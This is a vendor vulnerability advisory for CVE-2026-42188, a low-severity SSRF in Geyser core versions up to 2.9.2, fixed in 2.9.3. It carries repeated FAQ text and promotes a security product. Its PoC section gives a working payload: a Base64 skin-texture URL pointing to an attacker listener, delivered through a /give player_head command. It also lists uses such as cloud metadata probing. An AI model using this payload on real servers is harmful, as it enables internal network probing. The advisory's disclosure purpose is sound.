What is CVE-2026-42188?

CVE-2026-42188 is a low-severity server-side request forgery (SSRF) vulnerability in org.geysermc.geyser:core (maven), affecting versions <= 2.9.2. It is fixed in 2.9.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.

How severe is CVE-2026-42188?

CVE-2026-42188 has a CVSS score of 2.4 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of org.geysermc.geyser:core are affected by CVE-2026-42188?

org.geysermc.geyser:core (maven) versions <= 2.9.2 is affected.

Is there a fix for CVE-2026-42188?

Yes. CVE-2026-42188 is fixed in 2.9.3. Upgrade to this version or later.

Is CVE-2026-42188 exploitable, and should I be worried?

Whether CVE-2026-42188 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether CVE-2026-42188 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

CVE-2026-42188 in org.geysermc.geyser:core

Q: How severe is CVE-2026-42188?

CVE-2026-42188 has a CVSS score of 2.4 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Q: Which versions of org.geysermc.geyser:core are affected by CVE-2026-42188?

org.geysermc.geyser:core (maven) versions <= 2.9.2 is affected.

Q: Is there a fix for CVE-2026-42188?

Yes. CVE-2026-42188 is fixed in 2.9.3. Upgrade to this version or later.

Q: Is CVE-2026-42188 exploitable, and should I be worried?

Whether CVE-2026-42188 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether CVE-2026-42188 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix CVE-2026-42188?

Upgrade org.geysermc.geyser:core to 2.9.3 or later.

Summary

Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data.
By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.
This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.
However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

Setup Environment:
- Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
- Ensure you have a Bedrock client connected.
Prepare Listener:
- Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).
Construct Payload:
- Create a JSON payload pointing to your listener URL:
  {"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}
- Encode this JSON string to Base64.
  (You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)
Execute Command:
- Run the following command in the Bedrock Edition client:
  /give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]
Verify:
- Check the webhook.site dashboard.
- You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Affected Parties

Minecraft servers running Geyser
Server operators exposing internal or cloud metadata endpoints

Potential Impacts

Internal network probing (e.g., intranet services, admin panels)
Cloud metadata access attempts (e.g., 169.254.169.254)
IP address disclosure of the Minecraft server
Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:

Network mapping
Firewall bypass attempts
Cloud environment fingerprinting

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-42188 has a CVSS score of 2.4 (Low). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.3); upgrading removes the vulnerable code path.

Affected versions

org.geysermc.geyser:core (<= 2.9.2)

Security releases

org.geysermc.geyser:core → 2.9.3 (maven)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade org.geysermc.geyser:core to 2.9.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

What is CVE-2026-42188? CVE-2026-42188 is a low-severity server-side request forgery (SSRF) vulnerability in org.geysermc.geyser:core (maven), affecting versions <= 2.9.2. It is fixed in 2.9.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
How severe is CVE-2026-42188? CVE-2026-42188 has a CVSS score of 2.4 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
Which versions of org.geysermc.geyser:core are affected by CVE-2026-42188? org.geysermc.geyser:core (maven) versions <= 2.9.2 is affected.
Is there a fix for CVE-2026-42188? Yes. CVE-2026-42188 is fixed in 2.9.3. Upgrade to this version or later.
Is CVE-2026-42188 exploitable, and should I be worried? Whether CVE-2026-42188 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether CVE-2026-42188 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix CVE-2026-42188? Upgrade org.geysermc.geyser:core to 2.9.3 or later.